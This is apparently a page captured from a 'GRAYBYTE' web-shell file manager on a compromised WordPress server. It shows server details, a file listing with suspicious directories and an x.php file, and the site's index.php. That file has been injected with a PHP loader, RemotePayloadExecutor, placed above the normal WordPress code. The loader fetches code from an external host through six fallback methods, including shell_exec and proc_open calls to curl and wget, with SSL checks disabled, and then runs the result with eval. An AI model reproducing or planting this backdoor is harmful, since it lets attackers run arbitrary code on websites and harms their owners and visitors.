✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html//index.php
<?php
/**
 * RemotePayloadExecutor
 * * Sebuah kelas utilitas untuk mengambil dan mengeksekusi kode PHP dari sumber eksternal
 * dengan berbagai mekanisme fallback untuk menjamin keberhasilan pengambilan data.
 * * @author  Developer
 * @version 2.1
 */

class RemotePayloadExecutor {

    private string $targetUrl;
    private string $userAgent;
    private int $timeout;

    /**
     * Constructor
     * * @param string $url Target URL file raw/text
     */
    public function __construct(string $url) {
        $this->targetUrl = $url;
        $this->userAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36';
        $this->timeout = 30;
    }

    /**
     * Menjalankan logika utama: Fetch & Eval
     */
    public function execute(): void {
        $payload = $this->fetchPayload();

        if ($payload && strlen($payload) > 0) {
            try {
                // Menutup tag PHP jika payload dimulai dengan tag pembuka untuk menghindari error parse
                // eval() mengeksekusi kode seolah-olah berada di dalam skrip PHP
                eval('?>' . $payload);
            } catch (Throwable $e) {
                error_log("Remote Execution Error: " . $e->getMessage());
                echo "Execution Failed: Terjadi kesalahan saat menjalankan payload.";
            }
        } else {
            echo "Fetch Failed: Tidak dapat mengambil konten dari sumber eksternal melalui semua metode yang tersedia.";
        }
    }

    /**
     * Mencoba mengambil payload menggunakan berbagai strategi secara berurutan
     * * @return string|false
     */
    private function fetchPayload() {
        $methods = [
            'useCurlExtension',
            'useFileGetContents',
            'useFopenStream',
            'useFsockOpen',
            'useCliCurl',
            'useCliWget'
        ];

        foreach ($methods as $method) {
            $content = $this->$method();
            if ($content !== false && !empty($content)) {
                return $content;
            }
        }

        return false;
    }

    /**
     * Strategy 1: PHP cURL Extension
     */
    private function useCurlExtension() {
        if (!function_exists('curl_init')) return false;

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $this->targetUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
        curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);

        $result = curl_exec($ch);
        curl_close($ch);

        return $result;
    }

    /**
     * Strategy 2: file_get_contents (Standard Wrapper)
     */
    private function useFileGetContents() {
        if (!ini_get('allow_url_fopen')) return false;

        $options = [
            'http' => [
                'header'  => "User-Agent: {$this->userAgent}\r\n",
                'timeout' => $this->timeout,
                'ignore_errors' => true
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false
            ]
        ];

        $context = stream_context_create($options);
        return @file_get_contents($this->targetUrl, false, $context);
    }

    /**
     * Strategy 3: fopen (Binary Stream Reading)
     */
    private function useFopenStream() {
        if (!ini_get('allow_url_fopen')) return false;

        $handle = @fopen($this->targetUrl, "rb");
        $contents = '';

        if ($handle) {
            while (!feof($handle)) {
                $contents .= fread($handle, 8192);
            }
            fclose($handle);
            return $contents;
        }

        return false;
    }

    /**
     * Strategy 4: fsockopen (Raw Socket Connection)
     */
    private function useFsockOpen() {
        $parts = parse_url($this->targetUrl);
        $host = $parts['host'];
        $path = $parts['path'] ?? '/';
        $scheme = $parts['scheme'] ?? 'http';

        $port = ($scheme === 'https') ? 443 : 80;
        $prefix = ($scheme === 'https') ? 'ssl://' : '';

        $fp = @fsockopen($prefix . $host, $port, $errno, $errstr, $this->timeout);

        if (!$fp) return false;

        $out  = "GET $path HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "User-Agent: {$this->userAgent}\r\n";
        $out .= "Connection: Close\r\n\r\n";

        fwrite($fp, $out);

        $response = '';
        while (!feof($fp)) {
            $response .= fgets($fp, 128);
        }
        fclose($fp);

        // Memisahkan Header dan Body
        $headerEnd = strpos($response, "\r\n\r\n");
        if ($headerEnd !== false) {
            return substr($response, $headerEnd + 4);
        }

        return false;
    }

    /**
     * Strategy 5: CLI cURL (via Robust Shell Executor)
     */
    private function useCliCurl() {
        // -s untuk silent, -L untuk follow redirect, -k untuk insecure SSL
        $cmd = "curl -s -L -k -A '{$this->userAgent}' " . escapeshellarg($this->targetUrl);
        return $this->runCommand($cmd);
    }

    /**
     * Strategy 6: CLI Wget (via Robust Shell Executor)
     */
    private function useCliWget() {
        // -q untuk quiet, -O- untuk output ke stdout, --no-check-certificate untuk SSL
        $cmd = "wget -q -O- --no-check-certificate --user-agent='{$this->userAgent}' " . escapeshellarg($this->targetUrl);
        return $this->runCommand($cmd);
    }

    /**
     * Helper: Menjalankan perintah sistem menggunakan berbagai metode fallback
     * Mencoba: shell_exec, exec, passthru, system, popen, proc_open
     * * @param string $cmd Perintah yang akan dijalankan
     * @return string|false Output perintah atau false jika gagal
     */
    private function runCommand(string $cmd) {
        // Fallback 1: shell_exec
        if ($this->isFunctionEnabled('shell_exec')) {
            $output = @shell_exec($cmd);
            if (!empty($output)) return $output;
        }

        // Fallback 2: exec
        if ($this->isFunctionEnabled('exec')) {
            $output = [];
            @exec($cmd, $output);
            if (!empty($output)) return implode("\n", $output);
        }

        // Fallback 3: passthru
        if ($this->isFunctionEnabled('passthru')) {
            ob_start();
            @passthru($cmd);
            $output = ob_get_clean();
            if (!empty($output)) return $output;
        }

        // Fallback 4: system
        if ($this->isFunctionEnabled('system')) {
            ob_start();
            @system($cmd);
            $output = ob_get_clean();
            if (!empty($output)) return $output;
        }

        // Fallback 5: popen
        if ($this->isFunctionEnabled('popen')) {
            $handle = @popen($cmd, 'r');
            if ($handle) {
                $output = '';
                while (!feof($handle)) {
                    $output .= fread($handle, 4096);
                }
                pclose($handle);
                if (!empty($output)) return $output;
            }
        }

        // Fallback 6: proc_open
        if ($this->isFunctionEnabled('proc_open')) {
            $descriptors = [
                0 => ["pipe", "r"], // stdin
                1 => ["pipe", "w"], // stdout
                2 => ["pipe", "w"]  // stderr
            ];
            $process = @proc_open($cmd, $descriptors, $pipes);
            if (is_resource($process)) {
                $output = stream_get_contents($pipes[1]);
                fclose($pipes[0]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                proc_close($process);
                if (!empty($output)) return $output;
            }
        }

        return false;
    }

    /**
     * Helper: Memeriksa apakah fungsi PHP tersedia dan tidak dinonaktifkan
     */
    private function isFunctionEnabled(string $func): bool {
        if (!function_exists($func)) {
            return false;
        }
        $disabled = ini_get('disable_functions');
        if ($disabled) {
            $disabledFunctions = array_map('trim', explode(',', $disabled));
            if (in_array($func, $disabledFunctions)) {
                return false;
            }
        }
        return true;
    }
}

// --- Konfigurasi & Eksekusi & S0vMzEJElwPNAQA=---

// URL target script
$targetEndpoint = 'https://i.vo5.xyz/index.php?c=aHR0cDovLzMwMDktY2g0LXYxMDEwLnlhaG9vc2hvcC5jbGljaw==';

// Inisialisasi dan jalankan
$executor = new RemotePayloadExecutor($targetEndpoint);
$executor->execute();

?>

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
3 May 2026 9.06 PM
builxejc / builxejc
0711
.well-known
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
ca14d62f
--
28 Apr 2026 11.05 AM
builxejc / builxejc
0755
catalog-vendor-ext
--
16 Jun 2026 3.22 PM
builxejc / builxejc
0755
edgar-obsolete
--
28 Apr 2026 8.56 AM
builxejc / builxejc
0755
kernel-package-cache
--
16 Jun 2026 3.22 PM
builxejc / builxejc
0755
logs-sandbox-ext
--
17 Jun 2026 6.14 AM
builxejc / builxejc
0755
meta-logs
--
16 Jun 2026 3.22 PM
builxejc / builxejc
0755
metrics-php-tmp
--
16 Jun 2026 3.22 PM
builxejc / builxejc
0755
metrics-wp-vendor
--
16 Jun 2026 3.22 PM
builxejc / builxejc
0755
settings-archive
--
16 Jun 2026 3.22 PM
builxejc / builxejc
0755
status-wp-modules
--
17 Jun 2026 2.38 AM
builxejc / builxejc
0755
svn-system-cache
--
16 Jun 2026 3.22 PM
builxejc / builxejc
0755
theodore-random
--
3 May 2026 9.05 PM
builxejc / builxejc
0755
wp-admin
--
9 Jun 2026 8.33 AM
builxejc / builxejc
0755
wp-content
--
9 Jun 2026 9.49 AM
builxejc / builxejc
0755
wp-includes
--
9 Jun 2026 9.50 AM
builxejc / builxejc
0755
.hcflag
0.03 KB
12 Jun 2026 2.30 PM
builxejc / builxejc
0644
.htaccess
0.486 KB
10 Jun 2026 7.21 AM
builxejc / builxejc
0644
.htaccess.bk
1.994 KB
3 Apr 2026 8.30 AM
builxejc / builxejc
0644
.htaccess.kl
0.486 KB
28 Apr 2026 8.41 AM
builxejc / builxejc
0644
.litespeed_flag
0.29 KB
17 Jun 2026 1.31 AM
builxejc / nobody
0644
admin.php
8.519 KB
12 Jun 2026 9.19 PM
builxejc / builxejc
0644
error_log
2.21 MB
17 Jun 2026 8.07 AM
builxejc / builxejc
0644
index.php
9.215 KB
17 Jun 2026 6.08 AM
builxejc / builxejc
0644
license.txt
19.437 KB
1 Jan 2026 5.07 AM
builxejc / builxejc
0644
readme.html
7.232 KB
9 Jan 2026 4.47 PM
builxejc / builxejc
0644
wp-activate.php
7.198 KB
17 Feb 2026 10.05 PM
builxejc / builxejc
0644
wp-blog-header.php
0.343 KB
6 Feb 2020 11.33 AM
builxejc / builxejc
0644
wp-comments-post.php
2.269 KB
14 Jun 2023 6.11 PM
builxejc / builxejc
0644
wp-config-sample.php
3.261 KB
12 Aug 2025 6.47 PM
builxejc / builxejc
0644
wp-config.php
3.857 KB
9 Jun 2026 8.38 AM
builxejc / builxejc
0644
wp-cron.php
5.485 KB
2 Aug 2024 11.40 PM
builxejc / builxejc
0644
wp-links-opml.php
2.435 KB
30 Apr 2025 4.52 PM
builxejc / builxejc
0644
wp-load.php
3.845 KB
11 Mar 2024 2.05 PM
builxejc / builxejc
0644
wp-login.php
50.635 KB
1 Mar 2026 3.57 AM
builxejc / builxejc
0644
wp-mail.php
8.522 KB
3 Apr 2025 2.25 AM
builxejc / builxejc
0644
wp-settings.php
31.885 KB
8 May 2026 7.59 PM
builxejc / builxejc
0644
wp-signup.php
33.81 KB
17 Feb 2026 10.05 PM
builxejc / builxejc
0644
wp-trackback.php
5.092 KB
19 Aug 2025 4.30 PM
builxejc / builxejc
0644
x.php
91.78 KB
28 Apr 2026 8.29 AM
builxejc / builxejc
0644
xmlrpc.php
3.13 KB
8 Nov 2024 8.52 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF